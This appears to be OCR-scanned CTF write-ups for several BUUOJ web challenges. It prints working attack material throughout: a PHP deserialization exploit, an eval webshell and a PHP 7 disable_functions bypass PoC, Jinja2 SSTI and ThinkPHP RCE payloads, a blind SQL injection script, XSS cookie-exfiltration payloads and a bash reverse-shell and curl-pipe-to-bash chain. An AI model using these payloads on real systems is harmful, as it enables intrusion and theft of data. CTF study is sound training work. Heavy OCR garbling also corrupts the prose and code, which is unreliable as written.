1 Typel

upload.phpJBfg



<?php
session_start();
echo "
<meta charset=\"utf-8\">";
if(!isset($_SESSION[ 'user'])){
$_SESSION[ 'user'] = md5((string)time() . (string)rand(1e0, 1000));
}
if(isset($_FILES['uploaded'])) {
$target_path = getcwd() . "/upload/" . md5($_SESSION[ 'user']);
$t_path = $target _path . "/" . basename($_FILES['uploaded']['name']);
$uploaded_name = $ FILES['uploaded']['name'];
$uploaded_ext substr($uploaded_name, strrpos($uploaded_name,'."') + 1);
$uploaded_size = $ FILES['uploaded']['size'];
$uploaded_tmp = $ FILES['uploaded']['tmp_name'];

if(preg_match("/ph/i", strtolower($uploaded ext))){
die("#& ¥ your problem?");

}
else{
if ((($_FILES["uploaded"]["type"] == "
") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg"
)| ($_FILES["uploaded"]["type"] == "image/png")) && ($_FILES["uploaded"]["size"] < 2048)){

$content = file_get_contents($uploaded_tmp);
mkdir(iconv("UTF-8", "GBK", $target path), 0777, true);
move_uploaded_file($uploaded_tmp, $t_path);
echo "{$t_path} succesfully uploaded!";

¥
else{

die("# ¥ your problem?");
}

?>

[MRCTF2020]Ezpop



Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/Library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%k96%E9%ADSI4%E6EICHAFLECH96%
B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);

class Show{

public $source;

public $str;

public function __construct($file="index.php"){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";

¥

public function _ toString(){
return $this->str->source;

public function _ wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";

$this->source = "index.php";
}
}
}
class Test{
public $p;

public function _ construct(){
$this->p = array();

public function _ get($key){
$function = $this->p;
return $function();

if(isset($ GET['pop'])){
@unserialize($_GET['pop']);

}

elseq{
$a=new Show;
highlight_file(_ FILE_ );



FIFAModifierd iincludefl & flag.php, FTFEZEHI$varBIMEMIEA _ invoke , T 24X % 24 4E B Hfs &R

F __invoke , AILAFE Flclass TestH _ get MITVEF MR RE KRB, AUIRAFERRRAZENSHH __get, class
ShowH lJ _ toString, &¥jHstrifisource, FibMEstrATest R, XAN G HEEsource, B _ get, HiENt
FUEFR B <A __tostring , FrllMfisourceIshowXf %, AT _ wakeup BIFI A __toString , popBEtiiEsEte.

Show->preg_match->__ toString()->Test->_get->Modifier->__invoke->append()

exp:

‘php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";

class Test{
public $p;

class Show{
public $source;
public $str;
public function __ construct(){
$this->str = new Test();

%2 = new Show();
$a->source = new Show();
$a->source->str->p = new Modifier();

echo urlencode(serialize(%$a));

?>



&« cC @ © & 12c8040f-0ace-4df4-ac3c-dc7f5a765498.node3.buuoj.cn/?pop=0%3A4% & = ¥¥

<

e D8 Dewes OEsE NEg {(Iatmes Qe Owur B &=t 7 FESis B uEEs 8 Mac

class Flag{

private $flag= "flag{55846650-154a-4de8-931f-7f3f4955aa28}";

U spit URL 1}
echo "Help Me Find FLAG!";




how smart you are ~

FLAG is in secrettw.php

Welcome!

XARINTENMNUHX, IEERE, KSR {IZZEIH! made by crispr

<

O Oz Ozes Ot Nrg (IatmEse QO Tre B &
Q #E& HTML + J’ v

<l-- =2 A
//1st
¢query = $_SERVER['QUERY_STRING'];

if( substr_count($query, ' ') !== 8 || substr_count($query, '%5f') l= @ ){
die('Yeu are So cutE!");

}

if($_GET['b_u_p_t'] !== '23333"' && preg_match('/~23333%/"', $_GET['b_u_p_t'1)){
echo "you are going to the next ~";

}

1

<html lang="en"> (i3]

18 F php AT 775 5B B R PR SR 1) B PHP 775 5B @ A e f:By pas s
payload

b%20u%20p%20t=23333%0A

b%20u%20p%20t &I A EEAF ABAKIEAb_u_p_t, %OANBATHF .


https://www.freebuf.com/news/213359.html

how smart you are ~

FLAG i1s in secrettw.php

illlsecrettw.php, KM jsfuck.

Flag is here~But how to get it?Local access only!
Sorry,you don't have permission! Your ip is :sorry,this way is banned!

O Oz Oele OEdE NRE (IafmEx Onuse OrE B & 7 TREENs
Q8% HTML + X VigEER
<html>

~ 3, —
FtfETE.
<head></head>

w <body>

Flag is here~But how to get it?Local access only!
<br>

Sorry,you don't have permission! Your ip is :sorry,this way is banned!

CILC I+ [+011+ (O LTI+ CT00TD) [+ + [T+ [+ L1111+ (L LT+ LD [ 1+ 1+ 1+ [1 1+ CHIT+[ ) [1+[T+!
CITICCOILCE LT+ [+ 01T+ (0 D1T+LT 001D [+ + 1+ [+ 0111+ (L L1+ 1D [ 1+ [T+ 1+ [11+C L [1+[1)
[H+1+ 10+ [ D+ [T+ 0+ 01+ 1+ [ T+ O LT+ DTDCH DI+ DT [+ 011+ C DL LTI+ L1 00TT) [+ 1+ [T+ [+[11]
CLIHID LT+ 0T+ (L LI+TD [ 0T+ D10T) [+ 1+ L1+ [+01 11+ (LD LT+ [T [+ +[11+ (L [1+[1)

[1+[]+ [0+t (1 T+ LT+ L]) [+ 0T+ CL LT+ 0D) [+ 0+ L1 T+ (LT CL T+ 01D [+ 0T+ CII0CE[T+0 1D [+[1]
CVDIT+DICET D) [+ + LT+ [+ 0111+ (L LT+ L D) D+ L1+ 1+ DT+ (L LT+ DT D+ L+ [T 1+ 1) [+ T+!
J+1+[11+CHLT+0D) [+ 011+ LT+ DT DO LI+ DT) [+ 01T+ COE LTI+ 0I0ITT) [+ 1+ L1+ [+ 0111+ C [1+[1)

[+[1+ 1+ T+ LD DL L1+ D11 T [+ 1+ L1+ [+ DT 1T+ CULLT+ D) [+ I+ LTI CCHLLT+[T) [+1+L1]

[11+([]
+

882 RIFE



@9 C o ]@ % b436b6c5-e523-4aed-8075-c98d9a08f8fc.node3 buuoj.cn/secrettw.php  BE oo {}\ InND o ® 6 M€ & EV

post me Merak

o> O =Es e Owds Nme () atmEs QOuwe Ore B e F SEERE 58 wBRF & MaxHackBar g e
W v R W& BE B8R AL CSS XHR ER
D GET http://b436b6c5-e523-4aed-8075-c98d9a08f8fc.node3. buuoj.cn/favicon.ico [HTTP/1.1 Not Found @ms]

> allow pasting
@ Uncaught SyntaxError: unexpected token: identifier [if4H T ##] debugger eval code:1:6

» LCO+ID I+ O+ D e+ [+ L+ 011+ C O+ ID D0+ 01+ C O [D U0+ 000 TC T+ D 01+ (C O+ 00D [+ D+ 01+ C D U0+ 101+ C O+ D D[+ [T+ DD [+ [+ 0+ [+ 1 L]+ D+
OTCT+ID I+ OO0 D [+ D+ U1+ C O ID D0+ 01+ C O+ D D+ 0 LD [+ U+ L0+ (O LT+ D [+ [T+ C T+ ID [0+ D+ 0+ G T ID [+ 01+ CH T+ D T+ [T+ (O L0+ 0D 01+ T
[+ID L+ O+ D D+ O+ 011+ C D D+ 01+ GO+ D U1+ D1+ D U+ [T [ LT+ O LT+ TD T+ O+ C OO DC T+ [0 10 O+ 0 00D [+ D+ [+ D1+ C U DD D+ 14011+ (0D
[+ {1+ D [ [+ O+ CHOOD [T T ID D+ O+ (U T TD DL D+ D1+ CH 0D T+ O T+ T+ ID (01 CH T+ 0D T D1+ (CITOT+ 0D e+ D1+ G U DT+ 010 C DD [+ 01+ C0 T+ 000D
[+ [T+ [+ [T+ C T+ ID D+ 01 C D DU+ DT [ b 1+ L+ DT 1+ CH TR LD D01 [T [T T (PO D D e [T e DT TC T+ D T+ 01+ (U LD DT+ D T+ 1T+ (O DT+ 0100 D [+ [+ L+ 0111+ (L LT+ D)
[T+ C D DO+ DD [+ [+ L+ 0T+ (DD LA TC T+ D [+ 01+ T+ 000D [+ D+ D1+ C U D D1+ [T+ I+ D D [T+ 1 [T+ LD D+ [+ L L1 11+ DD+ OD T+ 011+ (0 D1+ 0000
[+ [T+ [+ (111 C LT+ ID D1+ 01+ C LD D+ DITD [+ L1+ L+ 0T+ (O LD 0D [+ D+ C I+ D DL+ [T 1 [T+ CU T+ D [0 1 CH T DD Do+ DO 0T+ D T+ 0T+ (O D C 0D T+ 01+ (0 T+ DT D) [+ 1+ 1+
11+ O O+ 1+ C I ID DO+ [T+ D U0+ 0+ DT+ CU O ID O T+ CU OO TC T+ ID 01O T+ 00 D [+ 1+ C U ID [0+ [+ C U+ ID U+ 1+ T D [+ [+ [+ 011+ T+
[D NI+ ID [+ 1+ C U+ ID [+ O+ (GID T TC T+ ID I+ OO0 D [+ O+ 11+ C O ID DU+ 01+ C U ID D0+ DT+ 0D T+ O+ [+ U1+ CH D0 DC T+ID [+ (0 TT+ 000D
[T+ O+ C LD U+ LT+ C U+ ID DO+ TITD [+ O+ 0TI+ O LT+ 0D [0+ C DD DO+ (1 DT+ O+ ID 0T+ O DD D DT+ T ID O+ TC T+ LD T+ T+ DI D [+ + 11+
O+ C O D+ 1+ C T ID DO+ [T ID D0+ [+ DT+ O O D O+ COU T OTC T+ ID O DT+ TOD [+ U+ L+ O+ C U ID DO+ 11+ C U+ ID U+ O+ T D [+ [+ [+ 0111+ T+
[RRIE R R E R IR E R B R E R AR E A RN E R AR R R EAE R E R R R R R IA R R E R R E R N R I R R R E AN R E R I E S E R A E G R E R IR E R e R R G AR IR E R A E A E R R E AN R R AR E R EI EE R RETG R R ES R AR EN R EAE R ESEA R RET@RER AR R EAES

»

post/aIR1GIRIG

Flag is here~But how to get it? <’php
error_reporting(0);

include 'takeip.php';
ini_set('open_basedir','.");

include 'flag.php';

if(isset($_POST[ 'Merak'])){
highlight_file(__ FILE_ );
die();

function change($v){

$v = base64_decode($v);

$re = '';

for($i=0;%i<strlen($v);$i++){

$re .= chr ( ord ($v[$i]) + $i*2 );

¥

return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ipl="127.0.0.1")
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($ GET['file']);
echo file_get_contents(change($ _GET['file'])); }
?>

fERClient-IPfhi&ip, HAdatathiUiEHlEAGR, #Hlfile_get contentsHIfE



thiip: X-Client-IP: X-Remote-IP: X-Remote-Addr: X-Originating-IP: X-Forwarded-For: client-ip:

http://b436b6c5-e523-4aed-8075-c98d9av8f8fc.node3.buuoj.cn/secrettw.php?2333=data://,todat is a happy
day&file=flag.php

& C A T%% | b436b6c5-e523-4aed-8075-c98d9a08f8fc.node3.buuoj.cn/secrettw.php?2333=data://,todat%20is%20a%20happy%20day&file=flag... Y« @ R o

Flag is here~But how to get it?Local access only!
Your REQUEST is:~X©€"

[x ﬂ Elements Console Sources Network Performance Memory Application Security Lighthouse HackBar

LOAD SPLIT EXECUTE TEST ~ sQLl ~ XSS ~ LFI ~ SSTI ~ ENCODING ~ HASHING ~

URL
http://b436b6c5-523-4aed-8075-c98d9a08f8fc.node3.buuoj.cn/secrettw.php?2333=data://,todat is a happy day&file=flag.php

THEME -~

) Enable POST ADD HEADER
Name Value
Client-IP v 127.0.0.1
% 55 0 bR A

function rechange($v="flag.php"){
$re = '';
for($i=0;%i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) - $i*2 );
}

$v = baseb4_encode($re);
return $v;

http://b436b6c5-e523-4aed-8075-c98d9a08f8fc.node3.buuoj.cn/secrettw.php?
2333=data://,todat%20is%20a%20happy%20day&file=ZmpdYSZmXGI=



<_

Flag is here~But how to get it?Local access only!
Your REQUEST is:flag.php

K3 ﬂ Elements Console Sources Network Performance

<html>
<head></head>

v <body>
"Flag is here~But how to get it?Local access only!"
<br>
"Your REQUEST is:flag.php"
<!--?php
$flag = 'flag{e5e855b3-084e-4508-a774-f209c524b3de}’;
echo "Flag is here~But how to get it?";
?--> == %0
<l--

[GKCTF2020] cvehiR % 3

CVE-2020-7066

get_headers(): W] DLIE AR 535 (10 B Sk Sk A Wr i 72 S04 2 B AR
get_headers () 2EWIURLF TFZ/REHAE, il SBEi%00/s HFAF

< X @ © & fe290372-6178-4c81-8314-dd7f71celec4.node3.buuoj.cn

View CTFHub
You just view *.ctfhub.com

C A F%2£ | b436b6c5-e523-4aed-8075-c98d9a08f8fc.node3.buuoj.cn/secrettw.php?2333=data://,todat%20is%20a%20happy%20day&file=Zmp...

Styles  Computed  Ev

Filter

No matching

element.style {

}

body {
display: block;
margin: » 8px;

http://fe290372-6178-4c81-8314-dd7f71celec4.node3.buuoj.cn/?url=http://127.0.0.1%00www.ctfhub.com



Array

0]
[1]
[2]
[3]
[4]
[5]
[6]
[7]
[8]

HTTP/1.1 200 OK

Date: Mon, 21 Sep 2020 14:03:11 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.3.15

Tips: Host must be end with 123
Vary: Accept-Encoding

Content-Length: 113

Connection: close

Content—Type: text/html; charset=UTF-8

A http://Fe290372-6178-4c81-8314-dd7f71celec4.node3.buuoj.cn/2url=http://127.0.0.123%00www.ctFhub.com

Array

(
[0]
[1]
[2]
[3]
[4]
[5]
[6]
[7]
[8]

HTTP/1.1 200 OK

Date: Mon, 21 Sep 2020 14:04:07 GMT

Server: Apache/2.4.38 (Debian)

X-Powered-By: PHP/7.3. 15

FLAG: flag{26920268-dab2-4fb1-900c—59fe625eed9c}
Vary: Accept-Encoding

Content—Length: 113

Connection: close

Content-Type: text/html; charset=UTF-8

[GKCTF2020]CheckIN



<title>Check_In</title>

<?php

highlight file(__ FILE_ );
class ClassName

{
public $code = null;
public $decode = null;
function __ construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
¥
public function x()
{
return $_REQUEST;
¥
¥

new ClassName();

base644Rt5 5 M rce

phpinfo(); --> cGhwaW5mbygpOw==

http://85b78423-12a5-4619-9749-7e5ae23ad41c.node3.buuoj.cn/?Ginkgo=cGhwaW5mbygpOw==

#r#disable functions

pentl_alarm,pentl_fork, pentl_waitpid, pentl_wait,pentl
_wifexited,pcntl_wifstopped,pentl_wifsignaled,pentl
wifcontinued,pentl_wexitstatus,pcntl_wtermsig,pentl
_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcnt
| signal _dispatch,pcntl_get last_error,pcntl_strerror,
pentl_sigprocmask,pentl_sigwaitinfo,pentl_sigtimed
wait,pcntl_exec,pentl_getpriority,pentl_setpriority, pc
ntl_async_signals,system,exec,shell_exec,popen,proc
_open,passthru,symlink,link,syslog,imap_open,Id,d|,

pentl_alarm,pentl_fork,pentl_waitpid, pentl_wait, pentl
_wifexited,pcntl_wifstopped,pentl_wifsignaled,pentl
wifcontinued, pentl_wexitstatus,pentl_wtermsig,pentl
_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcnt
|_signal_dispatch,pcntl_get last error,pcntl_strerror,
pentl_sigprocmask, pentl_sigwaitinfo,pentl_sigtimed
wait,pcntl_exec,pentl_getpriority,pentl_setpriority,pc
ntl_async_signals,system,exec,shell_exec,popen,proc
_open,passthru,symlink,link,syslog,imap_open,Id,dl,

eval($_POST[1]);
ZXZhbCgkX1BPU1RbMV@pOW==

http://85b78423-12a5-4619-9749-7e5ae23ad41c.node3.buuoj.cn/?Ginkgo=ZXZhbCgkX1BPU1RbMVOpOw==

WEIESE, KRBT ATRERTHflag, HEAreadflagiff

Ewp KU Aphp7.3, ATHHbypass PHP7.0-7.3 disable_functionffJPoC

N

s


https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php

J<?php
PHP 7.0-7.3 disable functions bypass PoC (*nix only)

Bug: https://bugs.php.net/bug.php?id=72530

This exploit should work on all PHP 7.0-7.3 versions

S o=k s e e Sk o

Author: https://github.com/mm0rl

pwn ("/readflag") ;

“function pwn (Scmd) {
global S$abc, Shelper;

= function str2ptr(&Sstr, Sp = 0, S$Ss = 8) {
Saddress = 0;
3 for($j = $s-1; $3 >= 0; $j—--) {

Saddress <<= §;

$address |= ord($str[$p+$j1):
- }

return Saddress;

P }
= function ptr2str (Sptr, $m = 8) {
Sout — "";
= for ($i=0; $i < S$m; $i++) {
Sout .= chr($ptr & Oxff);

Sptr >>= §;

EfEZEtempHF (B LEERR) , REESE.
payload

http://85b78423-12a5-4619-9749-7e5ae23ad41c.node3.buuoj.cn/?Ginkgo=ZXZhbCgkX1BPU1RbMVOpOw==

POST: 1=include('/tmp/exp.php');



<title>Check In</title>
{?php
highlight file(_ FILE );
class ClassName

{
public $code = null;
public $decode = null:
function  construct ()
{
$this—>code = @$this—>x() [ Ginkgo ]:
$this—>decode = @base64 decode( $this—>cod
@Eval ($this—>decode) ;
}
public function x()
{
return $ REQUEST:
}
}

new ClassName () ; flag{d3ffc606-1c01-4045-a4cd-ac24ba7cd2be}

[GKCTF2020]EZ=4%l% -EzWeb
[GKCTF2020]EZ=$l % -EzTypecho

[BIDCTF 2nd]fake google

jinja2 ssti

payload
http://a59cb797-5668-400c-a511-a4f94c890709 .node3.buuoj.cn/qaq?name={%%20for%20c%20in%20[ |.__class__.__base_ .__
subclasses__ ()%20%}{%%20if%20c.__name__==%27catch_warnings’%27%20%{{%20c.__init__._globals__ [%27__builtins__ %27

|.eval(%22__import__ (%270s%27) .popen(%27cat%20../../../../flagk27).read()%22)%20} ;{%%20endif%20%}{%%20endfor%20%
¥

[BIDCTF 2nd]old-hack
thinkphp5.0. 23452 #AT

payload

http://52bd483e-0bea-4679-b32b-1afd54ad8f9a.node3. buuoj.cn/

POST:_method=__construct&filter| |=system&method=get&server| REQUEST_METHOD |=cat ../../../../flag

[BIDCTF 2ndBHEE R T H—



BJDCTF ACCOUNT LOGIN

Username Password

SIGN IN

https://blog.csdn.net/meteox

HEF, KB .DS_Store

.DS_Store X#FFIFH .DS_Store & Mac 0S RN EE BRI . Eid.DS_Stored LAANEIXAH F B HATA CAFRE R,

T#JFELinuxF cat DS_Store

# cat DS Store

animate.cssIlocblob; (6@6&HBanimsition.min.cssIlocblob® (&66&GGbO
otstrap.min.cssIlocblob (6%6666cdnIlocblob® (6686666 cdnbwspblobébplist00®

©
~ howStatusBar[ShowPathbar[ShowToolbar[ShowTabView ContainerShowSidebar\Window
® unds[ShowSidebar _{{59, 267}, {777, 600}} %1=1"myz{|}~®&cdnvSrnlo
" daterangepicker.cssIlocblob®(88%668font-awesome.min.cssIlocblob; $@66866&hambu
%?ers.min.cssIlocblob@@@@@@@@icon-font.min.cssIlocblob@@@@@@@ index.phpIloch
. bb66BGEEE LOg1n.phpIlocblob®86@66émain. cssIlocblob@66666
N profile.phpIlocb
LobBBBBBEselect2.min.cssIlochlo®@@BBUtil. cssIlochlobbbssBECE @ @ @

=

DSDB " @ @

https://blog.csdn.netmeteox

#iALegln.php, Bk ZEindex.php, 7T BN
I 58 4 N\ P 46 5 R B T B %

#Logln.php, fEtimefdHk



n.netimete

a-= -
R T 37 |
Params | Headers | Hex E Headers | Hex
preiy [ w | Actons v i Render \n  Actions v
1 GET /LOgln.php HTTP/1.1 position:fixeds i
2 Host: node3.buuoj.cn:27300 bottom: Opsx;
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 left:opx;
Firefox/81.0 font-size:ldpx;
4 Accept: text/html,application/zhtml+xml,application/sml;q=0.9, image/webp, */*;q=0.8 color: $000;
5 Accept-Language: zh-CN,zh;jq=0.8, zh-TW;q=0.7, zh-HK; q=0.5, en-US;q=0.3, en;g=0.2 text-align:center;
6 Accept-Encoding: gzip, deflate }
7 Connection: close </style>
8 Cookie: PHPSESSID=5etaaocatlu3tnd92bo67amsg45; time=16023428085565565656599999999996 </head>
9 Upgrade-Insecure-Requests: 1
L0 <body bgcolor="#DDAODD">
L <center>
<a href="https://gem-love.com/" target="_blank"><div class="botCenter">
@00L'Amore
</div>
</a>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<font color=black size=32px>
Sorry, this site is only optimized for those who comes from localhost Al
=

TR —Lheader MK, HEBUHRAKE, US%)5HEHKheader H#

(e ] (mw ) (<iv] [(307]) FI4#: http:/inode3.buuoj.cn:27300

. i, a-

Params | Headers | Hex E Headers | Hex
Pretty - \n Actions v Pref

W 5% Render \n Actions v

gt e

GET /LOgln.php HTTP/1.1 bottom: Opx;
Host: node3.buuoj.cn:27300 left:0px;
User-Agent: Commodore €4 font-size:1l4px;
From: root@gem-love.com color: #000;

via: ylng.vip
Accept: text/html,application/xhtml+xml, application/xml;qg=0.9, image/webp, */*;
Accept-Language: zh-CN, zh;q=0.8, zh-TW;q=0.7, zh-HK;g=0.5, en-US;q=0.3, en; q=0.2
Accept-Encoding: gzip, deflate

Connection: close

10 client-ip: 127.0.0.1

11 Referer: gem-love.com

12 Cookie: PHPSESSID=5etaacatlu3tnd®2boé7amsg45; time=160234280855655656565
13 Upgrade-Insecure-Requests: 1

text-align:center;
¥
21 </style>
2 </head>

VDU G WN

24 <body bgcolor="#DDAODD">

25 <center>

26 <a href="https://gem-love.com/" target="_blank"><div class="botCenter">
@00L " Amore

</div>

</a>

27 <br>

<br>

<br>

<br>

<br>

<br>

<br>

<br>

28 <font color=black size=32px>

29 Sorry, even you are good at http header, you're still not my admin.<br>

Althoungh u found me, u still dont know where is flag <!--Zmxh

Header: & RLSHEM


https://www.cnblogs.com/benbenfishfish/p/5821091.html

Bl

Header R
, Accept: text/plain,

Accept TR 2 Ui B U P A 2R Y

P . e WER text/html,application/json
Accept- , .

W AR A LB M E R dmAg 4 Accept-Charset: iso-8859-5

Charset
Accept- — . . . .
Encoding e D B AR T LA R web IR &5 BRI [E] 9 25 R i i Y Accept-Encoding: compress, gzip
Accept-

P NIRRT EZHIES Accept-Language: en,zh
Language

Accept-Ranges a] PAE 3R W TSR i — AN BB 2 AN FIE R 2 B Accept-Ranges: bytes

Authorization: Basic

Authorization HTTPIZAU B2 BGIE $5 .
QWxhZGRpbjpvcGVUTHNLC2FtZQ==

Cache-Control: no-cache

T8 R 1 R AR N ) SR AE L

Cache-Control

Connection RARBFERAEE. (HTTP 1.1BASHTEHRAER) Connection: close
. HTTPIE SR KIERS, SBRIFIEZIERE L THHTE cookiefd —E K% . L L
Cookie Cookie: $Version=1; Skin=new;
HwebfR%# .
Content-
onten WERABKE Content-Length: 348
Length

Content-Type: application/x-www-form-

Content-Type T 3K ) 55 SEAART R IMIMESS B
urlencoded

Date: Tue, 15 Nov 2010 ©8:12:31 GMT

Date 18 3R & 1% H H 3 E
Expect TR IR E RGBT N Expect: 10@-continue
From R HiEREFIHF Email From: user@email.com
Host 18 B 15 R ARG 25 K38 42 A 1 5 Host: www.zcmhi.com
If-Match:
If-Match REER N A5 AL
ate ARl Rk AL T “737060cd8c284d8af7ad3082209582d”
If-Modified- T SRAE SR04 R H S B IR) 2 SR B O SRR T, RS SR [E] If-Modified-Since: Sat, 29 Oct 2010
Since 30415 19:43:31 GMT
S WRAERBTIRE30405, SHECRS BRI RIENEtag, 5k If-None-Match:
B2 [E] B K Etag HLBCHI T R 7 AR “737060cd8c284d8af7ad3082209582d”
R SEARREAE, RE[/RIEE P WERKTS, BWREBEA T, If-Range:
If-Range R
ZHh NEtag “737060cd8c284d8af7ad3082209582d”
L If-Unmodified-Si Sat, 29 Oct 2010
S - R -unmodiTtlied->S1nce: at, C
Unmodified- RIESRRTESR I 8] 5 RPAE S T R RT)
cince 19:43:31 GMT

PR #1115 B3 T A AN W S 4% 32 [ I} 1) Max-Forwards: 10

Max-Forwards
Pragma: no-cache

PSR & SR IURE E 115 4

Pragma
Proxy-Authorization: Basic

Proxy-
o e BB A H 1 BRI 35 :
Authorization QWxhZGRpbjpvcGVUIHN1c2FtZQ==



Header R 5l

Range RiEREEWH—E5, BEEHE Range: bytes=500-999
Ref :
Referer SR TUHHEE 4BV R OB R, BB crerer .
http://www.zcmhi.com/archives..
TE EPuB R B M mmeY, HRAMRSSEEZEZRENKLER TE: trailers,deflate;q=0.5
U de: HTTP/2.0, SHTTP/1.3,
Upgrade R 25 28 S S D TR S B AT . () pgrade: HTTP/ /
IRC/6.9, RTA/x11
User-Agent User-Agent I A B & HERKAFEE User-Agent: Mozilla/5.0 (Linux; X11)
Via: 1.0 fred, 1.1 h .
via S e ) 3 AR S BB S5 D e e nownere.com
(Apache/1.1)
Warning KFHEREMELER Warn: 199 Miscellaneous warning

[BIDCTF 2nd]f&jBAyEAN

RIhint.txt

Only u input the correct password then u can get the flag
and p3rhdps wants a girl friend.

select * from users where username="$ POST[”username”]” and password="$ POST[”password”]’ ;

username='a\"' and password='or 2>1#'

WA S


http://www.zcmhi.com/archives/71.html

import requests

url = "http://09a83584-46f6-4e80-ab85-83d5alc8f99d.node3.buuoj.cn/"

data = {"username": "admin\\", "password": ""
flag = ""

i=090

while (True

i=1i+1
head = 32
tail = 127

while (head < tail
mid = (head + tail) »>> 1

payload = f"or/**/if(ascii(substr(password,{i},1))>{mid},1,0)#"

data[ 'password'] = payload
r = requests.post(url, data=data

if "stronger" in r.text
head = mid + 1

else
tail = mid

if head != 32

flag += chr(head
else

break
print(flag

[&] Project v 2 sqlinj.py

> sqlinj.py
li External Libraries

¥ 1: Project

» P Scratches and Consoles

(head < tail):

mid = (head + tail) >>

payload =

sqlinj
OhyOuF

OhyOuFO
OhyOuFOu
OhyOuFOuN
OhyOuFOuNd
OhyOuFOuNdi
OhyOuFOuNdit

» 2: Favorites

m 7: Structure



Project = % sqlinj.py

sqlinj.py
External Libraries

1

I 1: Project

Scratches and Consoles

(head < tail):
mid = (head + tail) >>

payload =

datal[ 1 = payload
r = requests.post(url =data)

while (True) while (head < tail)

ellly]]

ad
adm

X 2: Favorites

m g & Yl

admi
admin

Process finished with exit code ©

%

m 7: Structure

https/blog.csdn.netimeteox

BRIk flag
[BIDCTF 2nd]xsszZ
.gitittFE, 8Findex.php

= 'yds_is so_beautiful'’
echo unserialize

REFFIL, EHREREETHKZE, TRMAphpHNEIRRFIL
FANE

HF%E4echo, FrARIFIHto_string(), FFMk, 0 Error GEF Fphp7fi4) , Exception GEM Fphp5. 7hRA)
&, FHHphplrA K5, ATLAFHError

payload

= new Exception("<script>window.location.href="http://8ff615f3-da70-4d1a-959f-f29d817ecd90.node3.buuoj.cn'+do
cument.cookie</script>"
#%a= new Exception("<script>window.open( 'http://a0a58185-02d8-4b85-8dbb-{5a991c8b45c.node3.buuoj.cn/? " '+document.
cookie);</script>");
echo urlencode(serialize

?>

HEERE S K flag

[BIDCTF 2nd]duangShell


https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_label2_0

b059cc88-89f4-48da-8849-893289ceb6llc.node3.buuoj.cn/.index.php.swp

KM swpith &
vim -r index.php.swp

<center><h1>BEM</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
die("where is P3rh4ps's girl friend ???");
} else {
$girl = $_POST['girl_friend'];
if (preg_match('/\>|\\\/', $girl)) {
die('just girl');
} else if (preg_match('/1ls|phpinfo|cat|\%|\"|\~|base64|xxd|echo|[\$/i"', $girl)) {
echo "<img src="img/p3_need_beautiful gf.png'> <!-- He is p3 -->";

} else {
//duangShel L~~~
exec($girl);

}

TS, AR

a=ca;b=t;c=flag;$ab $c

i3 98 T base6d, ANRE{EH

echo “Y2FQIGZsYWc=" | base64 -d



how can i give you source code? .swp?!

ERSE)

_Ng_N¢

R D=z OMe DEdE Neg atmsEs Oue Owns B EE 7« TSNS 38 uEEF & Max HackBar
: =

o]

Post Data Ml Referrer Reverse 4» @a Base64 4 | @ Url 4 | MD5 4 SHA1 4 SHA256 4 ROT13

Post data

girl_friend="echo "Y2F0IGZsYWc="|base64 -d

T THAKIwp, KIRER#shell

F R

FEEM—ANEG, Frouul— SR EENL, SEHLKISeN: DR FTH M, A LART LA 32 Bk ik AR 5528 V7 18 Bt Hlweb 34
fE /var/wuw/html , BIE1.txtB A bash -i >& ~"/dev/tcp/ " [ip]/[port] @>&1, ipAHCHip, ¥OIER
RIGHAT nc -1vvp [port] , HEWrGO

7E HARME5EPOST girl_friend=curl http://[ip]/[Xf4]|bash , $RfFshell

PAT find / -name *flag*

bash-4.4% find / -name *flag*

find / -name *flag*
/etc/demo/P3rhdps/love/you/flag

cat flagBpwr

KIMhint


https://xz.aliyun.com/t/2549
https://xz.aliyun.com/t/2548

Welcome t@ BJBCTF

oz =5 el Ot N we (Iestwex Oue One B & v TSRS 88 GMEEF & Max HackBar g] e
W Visis URL I Q © F#& HIML CSS JS XHR =k EfR ik WS Hft [JZmEr Fons
K& & a Xt RieE ESid) &8 Ky BI ESL Cookie &K MR AR HEERER

GET % 3c135169 i html 4.69 KB 0 SBS =202

n GET # 3c135169-d...  favicon.ico Favicon... html BEF 1.87 KB

» GET http://3c135169-deae-43f6-b5e5-569e5621cf16.node3.buuoj.cn/

K& 2000K D
%N HTTP/1.1
&8 4.69 KB (AN 17.96 KB)
v IRz (250 F5) B

Iz

> . .
(2) Connection: keep-alive

Content-Encoding: gzip
Content-Length: 4550
Content-Type: text/html; charset=UTF-8

)

(2) Date: Thu, 15 Oct 2020 15:44:26 GMT

Hint: home.php hitps:/lblog.csdn.netimeteox
A d/NER | FUER 1082 KR /ARAKR | Z=RE- 2N EWEL | NOMCantentl nadad: 177 25l lnad: 187 255k

Bh#E R http://3c135169-deae-43f6-b5e5-569e5621cf16.node3.buuoj.cn/home.php?file=system

httpsi/blog.csdn.netimeteox

5 i D B

http://3c135169-deae-43f6-b5e5-569e5621cf16.node3.buuoj.cn/home.php?file=php://filter/read=convert.base64-

encode/resource=home

home . php



<?php

setcookie("ylng", shal(md5('ylng')), time() + 3600);
